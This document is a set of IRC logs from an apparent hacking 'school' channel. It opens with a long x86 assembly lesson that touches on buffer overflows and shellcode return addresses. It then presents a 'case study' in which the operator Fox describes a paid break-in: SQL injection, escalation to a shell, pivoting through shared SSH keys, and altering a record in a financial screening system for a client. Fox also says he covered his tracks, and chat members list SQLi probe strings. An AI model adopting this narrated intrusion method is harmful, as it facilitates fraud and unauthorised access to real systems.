Jun 11 01:45:48 * BillNye (~proficien@LulzCo-6974CE5A.hsd1.md.comcast.net) entrou em #school4lulz
Jun 11 01:45:55 <eax> now if i pushl $4
Jun 11 01:45:58 <eax> it looks like
Jun 11 01:46:01 <eax> 0x0000004
Jun 11 01:46:03 * bebop (~bebop@LulzCo-CAD7DCCC.hsd1.il.comcast.net) entrou em #school4lulz
Jun 11 01:46:04 <eax> 0x00000001
Jun 11 01:46:12 <eax> (too many zeros w/e)
Jun 11 01:46:24 <eax> the stack acts like a stack of papers on your desk
Jun 11 01:46:37 <eax> every time you put a new piece on an older one gets burried
Jun 11 01:46:57 <eax> and in order to access a piece of papper benieth the current one you must pop
it off
Jun 11 01:47:09 * buzzkill (~buzzkill@LulzCo-EC4550D6.uvt.nl) entrou em #school4lulz
Jun 11 01:47:16 <eax> (the pop command takes the top dword off the top of the stack and places it in
a register)
Jun 11 01:47:23 <eax> so if a stack looks like
Jun 11 01:47:27 <eax> 0x4
Jun 11 01:47:29 <eax> 0x1
Jun 11 01:47:34 <eax> and i do pop %eax
Jun 11 01:47:43 <eax> eax will now = 4
Jun 11 01:47:47 <eax> and the stack will look like
Jun 11 01:47:48 <eax> 0x1
Jun 11 01:48:13 <eax> if i want to get that last piece of data i would want to issue the pop command
again
Jun 11 01:48:34 <eax> although this is not the only way to access data off the stack
Jun 11 01:48:59 <eax> (there are address trickery you can do to get some data off the stack without
popping it off but i wont get into it yet)
Jun 11 01:49:23 <eax> so stack = pappers stack over eachother newest on the top oldest on the
bottom
Jun 11 01:49:43 * foobar291 saiu (Quit: Leaving.)
Jun 11 01:49:46 <eax> now functons
Jun 11 01:49:48 <eax> functions*
Jun 11 01:49:59 * BestBuddy (~Bugzilla@DB72434F.EA3FB313.BE95BFFE.IP) entrou em #school4lulz
Jun 11 01:50:02 <eax> to declare a function in att syntax you type
Jun 11 01:50:12 <eax> .type lable, @function
Jun 11 01:50:21 <eax> label being a label in your code
Jun 11 01:50:42 <eax> (labels are just human readable text that is assigned to an specific memory
address at startup)
Jun 11 01:50:54 <eax> (usually looks like          test: )
Jun 11 01:51:06 <eax> test being the label name and the colon afterwads means its a label
Jun 11 01:51:10 * vec (~vec@LulzCo-893E14D4.hsd1.ga.comcast.net) entrou em #school4lulz
Jun 11 01:51:34 <eax> if you havent noticed in your source you have _start:
Jun 11 01:51:45 <eax> that is a label to the entry point of your program if you are wondering
Jun 11 01:52:08 <eax> anyways once you define your function (.type test, @function)
Jun 11 01:52:24 <eax> you have to create your label (usually directly under it)
Jun 11 01:52:26 <eax> test:
Jun 11 01:52:48 <eax> after that the first thing you do for every function
Jun 11 01:53:07 <eax> is back up your %ebp (base pointer) into the stack by pushing it
Jun 11 01:53:24 <eax> and then moving %esp to %ebp (because you should never access %esp
directly)
Jun 11 01:53:46 <eax> this will allow you to access your varriables you are pushing to your functon
Jun 11 01:54:11 <eax> your functon now looks like this
Jun 11 01:54:13 <eax> .type test, @function
Jun 11 01:54:13 <eax> test:
Jun 11 01:54:13 <eax> pushl %ebp
Jun 11 01:54:13 <eax> movl %esp, %ebp
Jun 11 01:54:46 * Renataki (~Renataki@LulzCo-E8EC77F2.hsd1.ct.comcast.net) entrou em
#school4lulz
Jun 11 01:54:48 <eax> for a definition of esp its a address pointer that poitns to the top of your stack
(or the bottom i forgot ><)
Jun 11 01:55:12 <eax> lets make this test function print something onto the screen
Jun 11 01:55:15 * foobar29 (~Adium@LulzCo-4DF181E4.dyn.iinet.net.au) entrou em #school4lulz
Jun 11 01:55:34 <eax> so lets learn how to print something onto the screen in the first place
Jun 11 01:55:55 * Jessica (~Jessica@LulzCo-E723C34E.tor servers.net) entrou em #school4lulz
Jun 11 01:56:00 <eax> in order to print to stdout (the file discripiter that prints to your terminal)
Jun 11 01:56:11 <eax> the cpu needs specific data in each register
Jun 11 01:56:37 <eax> %ebx holds the file discripiter to print to (1 in this case is STDOUT)
Jun 11 01:57:05 <eax> %ecx holds the address of the start of your buffer (the text you want to print)
Jun 11 01:57:29 <eax> %edx hold the size of your buffer (how long it is)
Jun 11 01:57:59 <eax> %eax holds the interrupt code (if you recall 1 = exit) this time we are going to
put 4 in there
Jun 11 01:58:06 <eax> beause 4 = write
Jun 11 01:58:26 <eax> (all these codes and stuff can be found in "programming from the ground up")
Jun 11 01:58:51 <eax> ok
Jun 11 01:58:57 <hatter> Back
Jun 11 01:59:05 <eax> wb hatter
Jun 11 01:59:11 <hatter> ty
Jun 11 01:59:12 <hatter> where are we?
Jun 11 01:59:29 <eax> k so now since we have to push our variables onto the stack in order to use in
in our function

```

Jun 11 01:59:52 <eax> erm

Jun 11 02:00:00 \* m00p (~moop@BB6D61B8.1C393A1B.876CAAC6.IP) entrou em #school4lulz

Jun 11 02:00:03 <eax> in order to use a variable in our functon we have to push it onto the stack\*

Jun 11 02:00:05 \* jrsimar (~M8R-5i54t@LulzCo-A2C5809A.byte4byte.com) entrou em #school4lulz

Jun 11 02:00:30 <eax> for this function we will use the address of a ascii test string

Jun 11 02:00:45 <eax> but where do we put this ascii text string you may ask

Jun 11 02:00:47 <eax> good question

Jun 11 02:00:58 \* skynyrd saiu (Remote host closed the connection)

Jun 11 02:00:58 <eax> hatter should of went over breifly the Header area

Jun 11 02:01:08 <eax> (.section .data and .section .text

Jun 11 02:01:08 <eax> )

Jun 11 02:01:21 <hatter> Ah yes

Jun 11 02:01:24 <hatter> .section

Jun 11 02:01:27 <hatter> creates a section

Jun 11 02:01:31 <hatter> there aren't a lot of types

Jun 11 02:01:37 <hatter> but bss is the main stack

Jun 11 02:01:38 \* BillNye saiu (Quit: Leaving)

Jun 11 02:01:43 \* phracktion2 saiu ()

Jun 11 02:01:44 <hatter> data is different static data

Jun 11 02:01:51 <eax> the .data section is reserved for stacic variables such as strings and other variables

Jun 11 02:01:55 <hatter> and text is the main execution code

Jun 11 02:02:00 <eax> ^

Jun 11 02:02:17 <eax> ok so we want to define an ascii variable

Jun 11 02:02:25 <eax> in order to do so

Jun 11 02:02:44 <eax> we create a new label in .data (because there are no variables in asm only poitners to memory addresses)

Jun 11 02:02:47 <eax> so

Jun 11 02:02:52 \* t0bias saiu ()

Jun 11 02:02:52 <eax> .section .data

Jun 11 02:02:56 <eax> our\_string:

Jun 11 02:02:59 \* Wally (~Wally@LulzCo-889B720B.members.linode.com) entrou em #school4lulz

Jun 11 02:03:07 <eax> .ascii "this is our string\n"

Jun 11 02:03:18 <lolwat> eax,

Jun 11 02:03:21 <lolwat> no need to null terminate?

Jun 11 02:03:36 <eax> depends on how you use it

Jun 11 02:03:47 <lolwat> for instance, printing it

Jun 11 02:03:48 <eax> you need to null terminate if you call a functon like printf

Jun 11 02:03:58 <lolwat> without knowing its len

Jun 11 02:04:00 <eax> but since we are using the interrupt it is not madatory

Jun 11 02:04:18 <eax> if you read up a bit i talk about the registers the write itnerupt uses

Jun 11 02:04:22 <lolwat> so .ascii by itself

Jun 11 02:04:25 <eax> one of them is for specifing its lenge

Jun 11 02:04:28 <eax> length8

Jun 11 02:04:35 <lolwat> doesn't null terminate? (that was my question)

Jun 11 02:04:57 <null-> eax: you mean calling printf from stdio.h ?

Jun 11 02:04:59 <eax> not when you use the interrupt for write (you specifit length in %edx)

Jun 11 02:05:04 \* MoDahkah (~White@LulzCo-BCEEBD65.dyn.optonline.net) saiu de #school4lulz

Jun 11 02:05:15 <eax> yes you can call printf from asm i will be covering that later

Jun 11 02:05:31 <eax> ok so back to what i was saying

Jun 11 02:06:18 <eax> ok

Jun 11 02:06:25 <eax> the .data section looks like this

Jun 11 02:06:48 <eax> to define a static string (this is not the case in certian instances like for calling a function like printf)

Jun 11 02:06:54 <eax> .section .data

Jun 11 02:06:54 <eax> test\_string:

Jun 11 02:06:54 <eax> .ascii "test\n"

Jun 11 02:06:54 <eax> test\_end:

Jun 11 02:06:54 <eax> .equ test\_len, test\_end - test\_string

Jun 11 02:07:16 <eax> .equ creates a variable in this case containing the length of the string

Jun 11 02:07:32 <eax> as i said the labels are for human readablility and actually represent memory addresses

Jun 11 02:07:44 <hatter> ^

Jun 11 02:07:49 <eax> so what it does is take the ending memory address and minus the starting

Jun 11 02:07:52 <eax> to get the length

Jun 11 02:07:53 \* wa- (~0BADCODE@345D34A9.CA721FD9.37DDF6FC.IP) entrou em #school4lulz

Jun 11 02:08:34 <eax> sec let me paste bin the entire code so far its too long for irc

Jun 11 02:08:37 <eax> give me a moment

Jun 11 02:09:06 <eax> <http://pastebin.com/znZCMYRb>

Jun 11 02:09:30 <eax> so far all it has is our exit code (to exit the program) and an incomplete functon

Jun 11 02:09:57 <eax> lets add a way to give our function our variables (the address of our text and its length)

Jun 11 02:10:13 <eax> to do this push them onto the stack in our main program (abouve our exit code)

Jun 11 02:10:20 <eax> pushl \$test\_string

Jun 11 02:10:24 \* zteppup (~email@LulzCo-EEC8A160.hsd1.ms.comcast.net) entrou em #school4lulz

Jun 11 02:10:32 <eax> pushl \$test\_len

Jun 11 02:11:04 <eax> now after that incert a call to call our functon

```

Jun 11 02:11:08 <eax> call test
Jun 11 02:11:21 <eax> http://pastebin.com/g6wzspYH
Jun 11 02:11:25 <eax> now looks like so
Jun 11 02:11:43 <eax> now our main code is finished (all we need it to do is push our data and exit)
Jun 11 02:11:59 <eax> so lets finish up on our function (sorry for jumping back and forth so many
things to tell you lol)
Jun 11 02:12:13 <eax> now
Jun 11 02:12:35 <eax> in our function we are currently pushing the base pointer (ebp) and then
moving the stack pointer to ebp
Jun 11 02:12:55 <eax> this allows us to access our variables (and those two commands should be in
every function )
Jun 11 02:13:21 <eax> at the point of when our function is called our stack looks like so
Jun 11 02:13:28 <eax> $test_len
Jun 11 02:13:37 <eax> $test_string
Jun 11 02:13:43 <eax> return address
Jun 11 02:13:47 <eax> ebp
Jun 11 02:14:03 <eax> sec
Jun 11 02:14:34 * Fox (~Fox@9FEBF99A.F71AD6B7.1ABC39CD.IP) entrou em #school4lulz
Jun 11 02:14:34 * ChanServ coloca o modo +q #school4lulz Fox
Jun 11 02:14:34 * ChanServ coloca o modo de operador a Fox
Jun 11 02:14:54 <Fox> :3
Jun 11 02:15:08 <eax> $test_len    ebp + 12
Jun 11 02:15:08 <eax> $test_string  ebp +8
Jun 11 02:15:08 <eax> return address  ebp +4
Jun 11 02:15:08 <eax> ebp          ebp / esp
Jun 11 02:15:33 <eax> ebp is the base pointer (which we moved esp to) which pointes to the bottom
of the stack
Jun 11 02:15:46 <eax> since we are working in longs (or dwords) which are 4 bytes in length
Jun 11 02:15:58 <eax> we can move up the stack in 4 byte increments
Jun 11 02:16:19 <eax> so say %ebp = 0x10000000
Jun 11 02:16:30 <eax> our variable that we pushed onto the stack are at
Jun 11 02:16:36 <eax> 0x10000008
Jun 11 02:16:45 <eax> and 0x10000012
Jun 11 02:16:48 <eax> in memory
Jun 11 02:17:03 * rawr (~rawr@CCCA3D60.382F279B.761029BD.IP) entrou em #school4lulz
Jun 11 02:17:07 <eax> so in order to access them in our finction
Jun 11 02:17:21 <eax> we use something called indrect memory access
Jun 11 02:17:41 <eax> (it basiacally means we specify an address and it will grab its context)
Jun 11 02:17:59 * rawr saiu ()
Jun 11 02:17:59 <eax> so lets grab our first variable (test_string)
Jun 11 02:18:04 <null-> like *ptr in C?
Jun 11 02:18:16 <eax> yes in a sense
Jun 11 02:18:25 <eax> pointers in C point to memory addresses
Jun 11 02:18:37 <eax> if you want you can actually do *var + 4
Jun 11 02:18:47 <eax> and it would take the address of var and add 4 to it
Jun 11 02:19:15 <eax> ok so in order to get our first variable underneath movl %esp, %ebp put
Jun 11 02:19:25 * exo (~Myfziic@LulzCo-BE34EA80.hsd1.pa.comcast.net) entrou em #school4lulz
Jun 11 02:19:33 <eax> movl 8(%ebp), %edx
Jun 11 02:20:04 <eax> what this does is moves a long (aka a dword (4 bytes)) from the address of
%ebp + 8
Jun 11 02:20:16 <eax> and puts the contents into %edx
Jun 11 02:20:37 <eax> so its moving 0x10000008 - 0x10000012 into %edx
Jun 11 02:21:04 <eax> this is the address of our text string we define in the data segment which we
pushed onto the stack
Jun 11 02:21:16 <eax> (which we will need for calling our write intrrupt)
Jun 11 02:21:28 <eax> now we have to grab the length of our text
Jun 11 02:21:37 <eax> movl 12(%ebp), %ecx
Jun 11 02:21:48 <eax> same thing appens here
Jun 11 02:22:03 <eax> moves 4 bytes starting at %ebp + 12 into ecx
Jun 11 02:22:17 <eax> thats our memory address of our .equ which is our length of our string
Jun 11 02:22:23 * foobar29 saiu (Quit: Leaving.)
Jun 11 02:22:46 <eax> http://pastebin.com/FZK60Bw1
Jun 11 02:22:49 <eax> code now looks like so
Jun 11 02:23:16 <eax> now that we have our two variables we pushed onto the stack for use in our
function lets start our system interrupt code
Jun 11 02:23:23 <eax> to print our text into STDOUT
Jun 11 02:23:38 <eax> (the file discriptor the pipes ascii onto the terminal
Jun 11 02:23:40 <eax> )
Jun 11 02:23:45 * tunafish (tuna@LulzCo-75BA39C5.hrbgpa.fios.verizon.net) entrou em #school4lulz
Jun 11 02:23:46 * rj saiu (Ping timeout: 240 seconds)
Jun 11 02:23:48 * tunafish (tuna@LulzCo-75BA39C5.hrbgpa.fios.verizon.net) saiu de #school4lulz
Jun 11 02:24:10 <eax> as i said before the write interrupt uses 3 registers in order to function
Jun 11 02:24:14 <eax> erm 4*
Jun 11 02:24:23 <eax> %eax, ebx, ecx, edx
Jun 11 02:25:06 <eax> my bad class i moved the variables to the wrong registers
Jun 11 02:25:10 <eax> it should look like so
Jun 11 02:25:11 <eax> movl 8(%ebp), %ecx
Jun 11 02:25:11 <eax> movl 12(%ebp), %edx
Jun 11 02:25:39 <eax> %ebx is our file discriptor we want to write to (in our case stdout is 1)

```



```

Jun 11 02:25:50 <eax> so lets mov $1 into ebx
Jun 11 02:25:51 * bebop (~bebop@LulzCo-CAD7DCCC.hsd1.il.comcast.net) saiu de #school4lulz
Jun 11 02:26:25 <eax> next we need to put our buffer address (the address our text is at) into %edx
Jun 11 02:26:28 <hatter> wow eax you're impressing me <3
Jun 11 02:26:54 <eax> luckily if we use the two replacment lines i screw up above we dont have to
issue a command to move the data there
Jun 11 02:26:57 <eax> because it is already there
Jun 11 02:27:12 <eax> same goes for %ecx
Jun 11 02:27:22 * Guantenk (Guantenk@C3D22DDB.DB5C8CD3.950BBD03.IP) entrou em #school4lulz
Jun 11 02:27:27 <eax> http://pastebin.com/rER2gC9e
Jun 11 02:27:31 <eax> code now looks like so
Jun 11 02:27:34 * FireStarter saiu ()
Jun 11 02:27:44 <eax> next we need to move our interupt code into %eax
Jun 11 02:28:00 <eax> when calling int $0x80 the interupt code always goes into eax
Jun 11 02:28:08 <eax> (example for exit we moved $1 into eax
Jun 11 02:28:10 <eax> )
Jun 11 02:28:24 <eax> in this case to fire the write intrrupt we have to move $4 into eax
Jun 11 02:28:35 <eax> movl $4, %eax
Jun 11 02:28:50 <eax> now we can call our itnerupt
Jun 11 02:29:04 <eax> basically yelling at the cpu HEY I WANT TO DO SOMETHING LOOK IN EAX AND
DO THAT SHIT
Jun 11 02:29:31 <eax> http://pastebin.com/Run4J4j3
Jun 11 02:29:35 <eax> code now looks like so
Jun 11 02:29:45 <eax> that is it for the writing part of the code
Jun 11 02:29:53 <eax> now it is time for functon clean up
Jun 11 02:30:15 <eax> basically you mov ebp back to esp
Jun 11 02:30:28 <eax> and pop %ebp (to get ebp address back into it)
Jun 11 02:30:38 <eax> movl %ebp, %esp
Jun 11 02:30:51 <eax> pop %ebp
Jun 11 02:31:00 <eax> this is manitory because without it you will most likely see some strange stuff
happen
Jun 11 02:31:13 <eax> the last call which i havent explained is ret
Jun 11 02:31:27 <eax> ret is a call that takes the return address off the stack
Jun 11 02:31:34 <eax> and jumps back to that point in code
Jun 11 02:31:40 <eax> to resume execution
Jun 11 02:31:43 * ExplodingPiglets saiu (Ping timeout: 240 seconds)
Jun 11 02:31:53 <eax> (the return address is where we called our functon)
Jun 11 02:32:30 <eax> http://pastebin.com/H435rYUb
Jun 11 02:32:37 <eax> finished code
Jun 11 02:32:44 <eax> also now that i think about it
Jun 11 02:32:56 <eax> the registers eip and the whole call /ret thing
Jun 11 02:33:07 <eax> when you use the call function
Jun 11 02:33:24 <eax> it pushes the return address into the stack and then jumps to the address of
the function start
Jun 11 02:33:32 <eax> and you issue a ret call
Jun 11 02:33:50 <eax> it pops the returna ddress off the stack
Jun 11 02:33:52 <eax> into %eip
Jun 11 02:33:57 <eax> and then jumps
Jun 11 02:34:05 <eax> now for buffer overflows
Jun 11 02:34:16 <eax> they happen when you overflow the stack to a point where
Jun 11 02:34:21 <eax> you can edit the return address
Jun 11 02:34:42 <eax> so that once you can edit the return address you can make your own
Jun 11 02:34:52 <eax> then the function pops it into %eip
Jun 11 02:34:56 <eax> and jumps to it
Jun 11 02:34:59 <eax> WELL GUESS WHAT
Jun 11 02:35:04 <eax> YOUR EXPLOIT SHELL CODE IS THERE
Jun 11 02:35:11 <eax> and it starts to run your shell code
Jun 11 02:35:27 <eax> hatter can maybe clarifiy that a bit more
Jun 11 02:35:40 <eax> anyways our code is done it is time to assemble and link
Jun 11 02:36:05 <eax> (also sorry if i dont respond to pms i dont have them open atm
Jun 11 02:36:06 <eax> )
Jun 11 02:36:10 <hatter> essentially
Jun 11 02:36:20 <hatter> the pop instruction takes the latest dword
Jun 11 02:36:23 <hatter> and shoves it into a register
Jun 11 02:36:29 <hatter> so what's happening when 'ret' is called by itself
Jun 11 02:36:35 <hatter> is actually on the circuit
Jun 11 02:36:40 <hatter> popl %eip
Jun 11 02:36:45 <hatter> if you assemble both of them
Jun 11 02:36:49 <hatter> you will get the same bytecode
Jun 11 02:36:57 <hatter> Some assemblers won't let you assemble popl %eip.
Jun 11 02:37:06 <hatter> But in a stack overflow
Jun 11 02:37:15 <hatter> the last thing shoved onto the stack (or first thing depending on how you
look at it)
Jun 11 02:37:21 <hatter> is gonna be your pointer
Jun 11 02:37:29 <hatter> that pointer gets popped by the ret call
Jun 11 02:37:36 <hatter> sometimes you run into funny ret calls
Jun 11 02:37:37 <hatter> like
Jun 11 02:37:39 <hatter> ret 0x18
Jun 11 02:37:52 <hatter> which specifies 18 bytes be popped off of the stack before the %eip pop

```

58 of 77

Jun 11 02:51:24 <eax> i only know ATT  
Jun 11 02:51:26 <eax> D:  
Jun 11 02:51:50 <Kroak> I've never coded my own asm, learned all my asm through disasm lol  
Jun 11 02:51:59 <eax> lol  
Jun 11 02:52:07 <eax> well i am afraid to announce i suck today  
Jun 11 02:52:09 <eax> <http://pastebin.com/beH7v787>  
Jun 11 02:52:12 <eax> code that should work  
Jun 11 02:52:15 <eax> that doesnt  
Jun 11 02:52:16 <eax> :/  
Jun 11 02:52:28 <jrsimar> forgive me if you already went over this, but how do you compile/run  
/assemble this code?  
Jun 11 02:52:38 <Kroak> as test.s -o test.o  
Jun 11 02:52:39 <eax> oh ok yea  
Jun 11 02:52:44 <Kroak> ld test.o -o test  
Jun 11 02:52:46 <Kroak> ./test  
Jun 11 02:52:49 <eax> ^  
Jun 11 02:52:53 <Kroak> if you called your file test.s  
Jun 11 02:52:57 \* Fox coloca o modo de semi-operador a TylerDurden  
Jun 11 02:53:01 <eax> as is to assemble it  
Jun 11 02:53:06 <eax> ld is to link it together  
Jun 11 02:53:14 <Hellspawn> echo \$?  
Jun 11 02:53:19 <Spellga> iack assembly ><  
Jun 11 02:53:25 <Spellga> long time dont work with that  
Jun 11 02:53:30 <Hellspawn> to find out what went wrong  
Jun 11 02:53:33 \* MrBlue (~MrBlue@LulzCo-6D96D76.torservers.net) entrou em #school4lulz  
Jun 11 02:53:42 <eax> echo \$? was to print out the return value of our exit program  
Jun 11 02:53:57 <Hellspawn> mm  
Jun 11 02:53:57 <eax> it doesn't really effect anything else :/  
Jun 11 02:54:04 <Hellspawn> kk  
Jun 11 02:54:10 <Kroak> if you're interesting in disassembling/gnireenigne i recommend the book:  
Jun 11 02:54:13 <Kroak> uh  
Jun 11 02:54:28 <Kroak> i think its called the art of reverse engineering: secrets of something  
Jun 11 02:54:29 <Kroak> 1sec  
Jun 11 02:54:40 <Kroak> no wait  
Jun 11 02:54:46 <wutthe> eax: what's the most useful or fun program you've created?  
Jun 11 02:54:54 \* imposter22 saiu (Connection closed)  
Jun 11 02:54:54 \* S4ya saiu (Connection closed)  
Jun 11 02:54:54 \* Onions saiu (Connection closed)  
Jun 11 02:54:56 <Kroak> reversing: secrets of reverse engineering  
Jun 11 02:55:04 <haut> by Eldad Eilam  
Jun 11 02:55:09 <Kroak> ^  
Jun 11 02:55:14 \* imposter22 (~imposter2@LulzCo-CB9E1773.formlessnetworking.net) entrou em  
#school4lulz  
Jun 11 02:55:18 <haut> good book  
Jun 11 02:55:19 <eax> most useful? in asm nothing  
Jun 11 02:55:26 <eax> i try not to program in asm  
Jun 11 02:55:35 <eax> its boring time consuming and hard  
Jun 11 02:55:41 <Kroak> also couldn't \*var +4  
Jun 11 02:55:46 <Kroak> deref the var then add 4?  
Jun 11 02:55:52 <Kroak> \*(var+4)  
Jun 11 02:55:53 <eax> ^  
Jun 11 02:55:57 <eax> yea my bad lol  
Jun 11 02:56:00 <Kroak> wouldn't\*  
Jun 11 02:56:00 <Kroak> lol  
Jun 11 02:56:17 <eax> <http://pastebin.com/AbWgFsGJ>  
Jun 11 02:56:25 <eax> ^ my last project i did to show someone asm  
Jun 11 02:56:29 <eax> compiles and works  
Jun 11 02:56:32 <Kroak> cool  
Jun 11 02:56:44 <Guantenk> if you wanna talk with computer, you need know asm  
Jun 11 02:56:45 <eax> it asks the user to enter a password and does a simple xor check to see if its  
correct  
Jun 11 02:56:59 <Kroak> if you wanna talk with computer, take lsd\*  
Jun 11 02:57:05 <eax> for the life of me idk whats wrong with what we did today :/  
Jun 11 02:57:21 <lolwat> eax, thank you for the revision  
Jun 11 02:57:29 <lolwat> my asm was a little dusty  
Jun 11 02:57:32 <Kroak> what do you mean?  
Jun 11 02:57:41 <lolwat> and gotta say I hate AT&T syntax :/  
Jun 11 02:57:43 <eax> lol np  
Jun 11 02:57:51 <Kroak> haha  
Jun 11 02:57:52 <eax> theres so much to asm i didnt cover half of it :/  
Jun 11 02:57:56 <Fox> eax class over?  
Jun 11 02:57:57 <lolwat> (learned the intel way)  
Jun 11 02:58:11 <eax> yea i think so  
Jun 11 02:58:17 <Fox> Someone able to pastebin it?  
Jun 11 02:58:20 <Kroak> Q&A?  
Jun 11 02:58:21 <Kroak> lol  
Jun 11 02:58:32 <eax> even though i didnt produce functioning code i think i explained it well enoguh  
Jun 11 02:58:37 <eax> yea sure Q&A  
Jun 11 02:58:38 \* MrLinux saiu (Ping timeout: 240 seconds)

```

Jun 11 02:58:56 <lolwat> eax, how to find the return addr
Jun 11 02:58:58 <lolwat> to our shellcode?
Jun 11 02:58:59 <Kroak> well from the point of view from not knowing anything about asm
Jun 11 02:59:06 <Kroak> I think it could be confusing
Jun 11 02:59:10 <Kroak> this is more about asm then bof's
Jun 11 02:59:16 * withate saiu (Read error: Connection reset by peer)
Jun 11 02:59:30 * withate (~pinc0de@LulzCo-9E449B52.cable.virginmedia.com) entrou em
#school4lulz
Jun 11 02:59:36 * zaiger (~newfriend@OhIntehbutt.com) entrou em #school4lulz
Jun 11 02:59:43 <Kroak> and that could be quite a long talk about gdb
Jun 11 02:59:45 <eax> that i am not really sure tbh
Jun 11 02:59:49 <eax> ^
Jun 11 02:59:59 <Fox> Someone able to pastebin it?
Jun 11 03:00:24 <Kroak> lolwat, you pretty much open the program in gdb, reproduce the bug, slap
your shellcode in a buffer and get the address
Jun 11 03:00:33 <Kroak> but ASLR and shit makes it more difficult
Jun 11 03:00:39 <eax> ^
Jun 11 03:00:40 <lolwat> ASLwhat?
Jun 11 03:00:47 <lolwat> brb googlin'
Jun 11 03:00:51 <Kroak> something stack layout randomisation
Jun 11 03:00:52 <Fox> PASTEBIN!?
Jun 11 03:00:52 <haut> eax: you got the order wrong, first push len then str
Jun 11 03:00:52 <Fox> PASTEBIN!?
Jun 11 03:00:53 <Fox> PASTEBIN!?
Jun 11 03:00:54 <TransfiniteGreyWizard> Hey, which is faster in computation, multiplication or
division?
Jun 11 03:00:54 <Fox> PASTEBIN!?
Jun 11 03:00:56 <Kroak> i'll pb it
Jun 11 03:00:57 <eax> ASLR randomises addresses in the stack
Jun 11 03:01:06 <Kroak> multiplication i think
Jun 11 03:01:10 <lolwat> i see...
Jun 11 03:01:11 <Kroak> i think div is fucking slow
Jun 11 03:01:16 <lolwat> so the ret addr won't be in the same spot
Jun 11 03:01:27 <eax> with aslr no
Jun 11 03:01:31 <Kroak> it randomises the beginning of the stack i believe
Jun 11 03:01:35 <Kroak> when the program starts
Jun 11 03:01:42 * Fox coloca o modo +m #school4lulz
Jun 11 03:01:47 <Fox> Gentlemen
Jun 11 03:01:51 <Fox> I know you're doing your QA
Jun 11 03:01:54 <Fox> and I'll let you be
Jun 11 03:01:56 <Fox> but two big things
Jun 11 03:02:06 <Fox> 1st, we have a back-to-back class tonight
Jun 11 03:02:17 <hatter> jesu this was a 4 hour long class
Jun 11 03:02:19 <hatter> there's another?
Jun 11 03:02:23 <Fox> TylerDurden is going to do a piece of casing targets, plus some general review.
Jun 11 03:02:28 * pRjck3vC saiu (Remote host closed the connection)
Jun 11 03:02:30 <hatter> works for me
Jun 11 03:02:34 <eax> jesu i tought people about seembly for 4 hours :/
Jun 11 03:02:42 <TylerDurden> hatter: i need 1 or 2 hours for a break.
Jun 11 03:02:43 <hatter> well eax, WE did.
Jun 11 03:02:45 <TylerDurden> got some java to finish.
Jun 11 03:02:47 <Fox> We <3 you.

```

## Case Study: Corporate Compromise (by Fox)

Posted by nachash on June 19, 2011

None comments

1. <~Fox> Now
2. <~Fox> The most recent compromise that I did was of a corporate network that handles a specific type of document and it manages a yes/no result in the financial world
3. <~Fox> This was a for-profit job
4. <~Fox> Obviously I'm not going to let you in on anything but theory because we don't want you screwing around in places like those
5. <~Fox> Anyways
6. <~Fox> The first and foremost was to find a vector of entry which as most of our classes have told you that with a strictly external compromise with no in, your best bet will be web applications
7. <~Fox> Now moving up from there I went through the site to find a vulnerability
8. <~Fox> After finding a place vulnerable to SQLi I ended up having to use binary enumeration to go through and map out everything that I could
9. <~Fox> from there I was able to escalate that into a shell like we'd found before and have done in prior classes (lolhackers.com/school)
10. <~Fox> From the shell I was able to dig and find the configurations that were being used for the remote DB
11. <~Fox> this allowed us to find the server that would keep the records that we would need to alter in order for the client to acquire the desired result
12. <~Fox> Anyways moving from there we were able to easily get into the box via keys shared between the two servers
13. <~Fox> from there it was a matter of digging through the DB

14. <~Fox> changing the record  
 15. <~Fox> and the clients ability to bank without issue was restored again 😊  
 16. <~Fox> P.P.S The system was called checksystems  
 17. <~Fox> err chexsystems  
 18. \* Fox sets mode: -m  
 19. <~Fox> So...  
 20. <~Fox> After finding a place vulnerable to SQLi I ended up having to use binary enumeration to go through and map out everything that I could  
 21. <~Fox> from there I was able to escalate that into a shell like we'd found before and have done in prior classes (lolhackers.com/school)  
 22. <~Fox> From the shell I was able to dig and find the configurations that were being used for the remote DB  
 23. <~Fox> this allowed us to find the server that would keep the records that we would need to alter in order for the client to acquire the desired result  
 24. <~Fox> Anyways moving from there we were able to easily get into the box via keys shared between the two servers  
 25. <~Fox> from there it was a matter of digging through the DB  
 26. <~Fox> changing the record  
 27. <~Fox> and the clients ability to bank without issue was restored again 😊  
 28. <~Fox> P.P.S The system was called checksystems  
 29. <~Fox> err chexsystems  
 30. <~Fox> So...  
 31. <~Fox> That topic kind of sucked dick.  
 32. <Deathwish187> Interesting  
 33. <Reelix> "via keys shared between the two servers" ?  
 34. <flyAway> Fox.  
 35. <flyAway> Explain binary/blind SQLI  
 36. <~Fox> SSH keys.  
 37. <noneya1238> Fox: did you cover your tracks?  
 38. <flyAway> As we haven't covered that.  
 39. <Thing27\_> SSH keys  
 40. <Hellspawn> Q: How did you ensure the "ban" list wasnt updated from an external source?  
 41. <~Fox> noneya1238: yes  
 42. <~Fox> flyAway: That could help  
 43. <Hellspawn> as in, how did you ensure that the thing you changed was all you needed to change.  
 44. <In4TehLulz> Question: How would you know if something is vulnerable to SQLi attacks?  
 45. <Reelix> Q: What method did you use to cover / hide your tracks 😊  
 46. <~Fox> Hellspawn: That was a matter of watching through the daemons and digging around  
 47. <flyAway> In4TehLulz: read the old tuts.  
 48. \* Reelix throws In4TehLulz a `  
 49. <Hellspawn> in4tehlulz: lolhackers.com/school  
 50. \* Savitri (~savitri@LulzCo-A877BCEC.ipredate.net) has joined #school4lulz  
 51. \* ChanServ sets mode: +o Savitri  
 52. <Hellspawn> read the tutorials.  
 53. <flyAway> Reelix: not always quotes, tough they are good.  
 54. \* Fox sets mode: +msc  
 55. <~Fox> Check school4lulz topic.  
 56. <~Fox> That has a shitload of your answers  
 57. \* Fox sets mode: -msc  
 58. <Reelix> flyAway: `, removing values, negative 1, +ORDER+BY+50000, etc etc :p  
 59. <flyAway> Reelix: true.  
 60. <~Fox> Alright  
 61. <~Fox> I'm going to go get food  
 62. <~Fox> I'll be back

## Fuzzing (by Pantmissile)

Posted by nachash on June 19, 2011

None comments

?[21:37] <+PantMissile> We're going to talk about fuzzing for exploits.

[21:37] <~Fox> Who's moderating this shit  
 [21:37] <~Fox> PantMissile is holding an impromptu class  
 [21:37] <+PantMissile> Fuzzing is the act of injecting random shit into a tcp stream or parameter to a script to hopefully crash it.  
 [21:37] <+kratos> great  
 [21:37] <~Fox> PantMissile  
 [21:37] <~Fox> hold up  
 [21:37] <+PantMissile> k.  
 [21:37] <~Fox> Jester  
 [21:37] <%jester> sup  
 [21:37] <&hatter> Or even throwing an error is ok  
 [21:37] <%jester> ill stop talking  
